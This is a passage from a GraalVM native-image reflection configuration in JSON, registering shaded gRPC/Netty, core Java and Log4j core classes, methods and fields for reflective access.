{\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, \n    {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$HeadContext\",\n  \"methods\":[\n    {\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, \n    {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$TailContext\",\n  \"methods\":[\n    {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, \n    {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultFileRegion\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.Epoll\",\n  \"methods\":[\n    {\"name\":\"isAvailable\",\"parameterTypes\":[] }, \n    {\"name\":\"unavailabilityCause\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.NativeDatagramPacketArray$NativeDatagramPacket\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.PeerCredentials\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.codec.ByteToMessageDecoder\",\n  \"methods\":[\n    {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.codec.http2.Http2ConnectionHandler\",\n  \"methods\":[\n    {\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.AbstractReferenceCounted\",\n  \"fields\":[{\"name\":\"refCnt\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.ReferenceCountUtil\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueColdProducerFields\",\n  \"fields\":[{\"name\":\"producerLimit\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueConsumerFields\",\n  \"fields\":[{\"name\":\"consumerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueProducerFields\",\n  \"fields\":[{\"name\":\"producerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueConsumerIndexField\",\n  \"fields\":[{\"name\":\"consumerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerIndexField\",\n  \"fields\":[{\"name\":\"producerIndex\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerLimitField\",\n  \"fields\":[{\"name\":\"producerLimit\"}]\n},\n{\n  \"name\":\"io.grpc.util.SecretRoundRobinLoadBalancerProvider$Provider\"\n},\n{\n  \"name\":\"java.io.Closeable\",\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.io.FileDescriptor\"\n},\n{\n  \"name\":\"java.io.ObjectInputStream\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.io.Serializable\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.lang.Boolean\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Byte\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Character\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Deprecated\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.Double\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Float\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Integer\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Long\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.Object\",\n  \"allDeclaredFields\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] }, \n    {\"name\":\"clone\",\"parameterTypes\":[] }, \n    {\"name\":\"toString\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"java.lang.ProcessHandle\",\n  \"methods\":[\n    {\"name\":\"current\",\"parameterTypes\":[] }, \n    {\"name\":\"pid\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"java.lang.Short\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.StackTraceElement\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.String\"\n},\n{\n  \"name\":\"java.lang.Void\",\n  \"fields\":[{\"name\":\"TYPE\"}]\n},\n{\n  \"name\":\"java.lang.reflect.Method\"\n},\n{\n  \"name\":\"java.math.BigDecimal\"\n},\n{\n  \"name\":\"java.math.BigInteger\"\n},\n{\n  \"name\":\"java.net.InetSocketAddress\",\n  \"methods\":[{\"name\":\"getHostString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.nio.Bits\",\n  \"fields\":[{\"name\":\"UNALIGNED\"}]\n},\n{\n  \"name\":\"java.nio.Buffer\",\n  \"fields\":[{\"name\":\"address\"}]\n},\n{\n  \"name\":\"java.nio.ByteBuffer\",\n  \"methods\":[{\"name\":\"alignedSlice\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"java.nio.DirectByteBuffer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\",\"int\"] }]\n},\n{\n  \"name\":\"java.nio.channels.FileChannel\"\n},\n{\n  \"name\":\"java.nio.channels.spi.SelectorProvider\",\n  \"methods\":[{\"name\":\"openSocketChannel\",\"parameterTypes\":[\"java.net.ProtocolFamily\"] }]\n},\n{\n  \"name\":\"java.security.SecureRandomParameters\"\n},\n{\n  \"name\":\"java.sql.Date\"\n},\n{\n  \"name\":\"java.sql.Timestamp\"\n},\n{\n  \"name\":\"java.util.Date\"\n},\n{\n  \"name\":\"java.util.PropertyPermission\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.util.concurrent.atomic.LongAdder\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] }, \n    {\"name\":\"add\",\"parameterTypes\":[\"long\"] }, \n    {\"name\":\"sum\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"java.util.logging.LogManager\",\n  \"methods\":[{\"name\":\"getLoggingMXBean\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.logging.LoggingMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"javax.management.MBeanOperationInfo\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getSignature\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.MBeanServerBuilder\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.NotificationBroadcasterSupport\",\n  \"methods\":[{\"name\":\"getNotificationInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.ObjectName\"\n},\n{\n  \"name\":\"javax.management.openmbean.CompositeData\"\n},\n{\n  \"name\":\"javax.management.openmbean.OpenMBeanOperationInfoSupport\"\n},\n{\n  \"name\":\"javax.management.openmbean.TabularData\"\n},\n{\n  \"name\":\"javax.naming.directory.InitialDirContext\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.AbstractAppender$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.AppenderSet\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.AsyncAppender\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.AsyncAppender$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.ConsoleAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.CountingNoOpAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.FailoverAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.FailoversPlugin\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.FileAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.HttpAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.MemoryMappedFileAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.NullAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.OutputStreamAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.RandomAccessFileAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.RollingFileAppender\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.RollingFileAppender$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.RollingRandomAccessFileAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.ScriptAppenderSelector\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.SmtpAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.SocketAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.SyslogAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.WriterAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.ColumnMapping\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.jdbc.ColumnConfig\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.jdbc.DataSourceConnectionSource\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.jdbc.DriverManagerConnectionSource\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.db.jdbc.JdbcAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.mom.JmsAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.mom.jeromq.JeroMqAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.mom.kafka.KafkaAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.nosql.NoSqlAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rewrite.LoggerNameLevelRewritePolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rewrite.MapRewritePolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rewrite.PropertiesRewritePolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rewrite.RewriteAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.CompositeTriggeringPolicy\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createPolicy\",\"parameterTypes\":[\"org.apache.logging.log4j.core.appender.rolling.TriggeringPolicy[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.CronTriggeringPolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.DefaultRolloverStrategy\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.DefaultRolloverStrategy$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.DirectWriteRolloverStrategy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.NoOpTriggeringPolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.OnStartupTriggeringPolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.SizeBasedTriggeringPolicy\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createPolicy\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.TimeBasedTriggeringPolicy\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.TimeBasedTriggeringPolicy$Builder\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.DeleteAction\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createDeleteAction\",\"parameterTypes\":[\"java.lang.String\",\"boolean\",\"int\",\"boolean\",\"org.apache.logging.log4j.core.appender.rolling.action.PathSorter\",\"org.apache.logging.log4j.core.appender.rolling.action.PathCondition[]\",\"org.apache.logging.log4j.core.appender.rolling.action.ScriptCondition\",\"org.apache.logging.log4j.core.config.Configuration\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfAccumulatedFileCount\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfAccumulatedFileSize\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfAll\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfAny\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfFileName\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createNameCondition\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"org.apache.logging.log4j.core.appender.rolling.action.PathCondition[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfLastModified\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createAgeCondition\",\"parameterTypes\":[\"org.apache.logging.log4j.core.appender.rolling.action.Duration\",\"org.apache.logging.log4j.core.appender.rolling.action.PathCondition[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.IfNot\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.PathSortByModificationTime\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.PosixViewAttributeAction\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.rolling.action.ScriptCondition\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.routing.IdlePurgePolicy\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.routing.Route\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.routing.Routes\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.appender.routing.RoutingAppender\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.ArrayBlockingQueueFactory\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.AsyncLoggerConfig\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.AsyncLoggerConfig$RootLogger\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.DisruptorBlockingQueueFactory\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.JCToolsBlockingQueueFactory\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.async.LinkedTransferQueueFactory\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.AppenderRef\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createAppenderRef\",\"parameterTypes\":[\"java.lang.String\",\"org.apache.logging.log4j.Level\",\"org.apache.logging.log4j.core.Filter\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.AppendersPlugin\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createAppenders\",\"parameterTypes\":[\"org.apache.logging.log4j.core.Appender[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.CustomLevelConfig\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.CustomLevels\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.DefaultAdvertiser\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.HttpWatcher\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.LoggerConfig\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createLogger\",\"parameterTypes\":[\"boolean\",\"org.apache.logging.log4j.Level\",\"java.lang.String\",\"java.lang.String\",\"org.apache.logging.log4j.core.config.AppenderRef[]\",\"org.apache.logging.log4j.core.config.Property[]\",\"org.apache.logging.log4j.core.config.Configuration\",\"org.apache.logging.log4j.core.Filter\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.LoggerConfig$RootLogger\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.LoggersPlugin\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createLoggers\",\"parameterTypes\":[\"org.apache.logging.log4j.core.config.LoggerConfig[]\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.PropertiesPlugin\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"configureSubstitutor\",\"parameterTypes\":[\"org.apache.logging.log4j.core.config.Property[]\",\"org.apache.logging.log4j.core.config.Configuration\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.Property\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"createProperty\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.ScriptsPlugin\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.arbiters.ClassArbiter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.arbiters.DefaultArbiter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.arbiters.ScriptArbiter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.arbiters.SelectArbiter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.arbiters.SystemPropertyArbiter\"\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.json.JsonConfigurationFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$BigDecimalConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$BigIntegerConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$BooleanConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$ByteArrayConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$ByteConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$CharArrayConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$CharacterConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$CharsetConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$ClassConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$CronExpressionConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$DoubleConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$DurationConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$FileConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$FloatConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$InetAddressConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$IntegerConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$LevelConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$LongConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$PathConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$PatternConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$SecurityProviderConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$ShortConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$StringConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$UriConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$UrlConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.apache.logging.log4j.core.config.plugins.convert.TypeConverters$UuidConverter\",\n  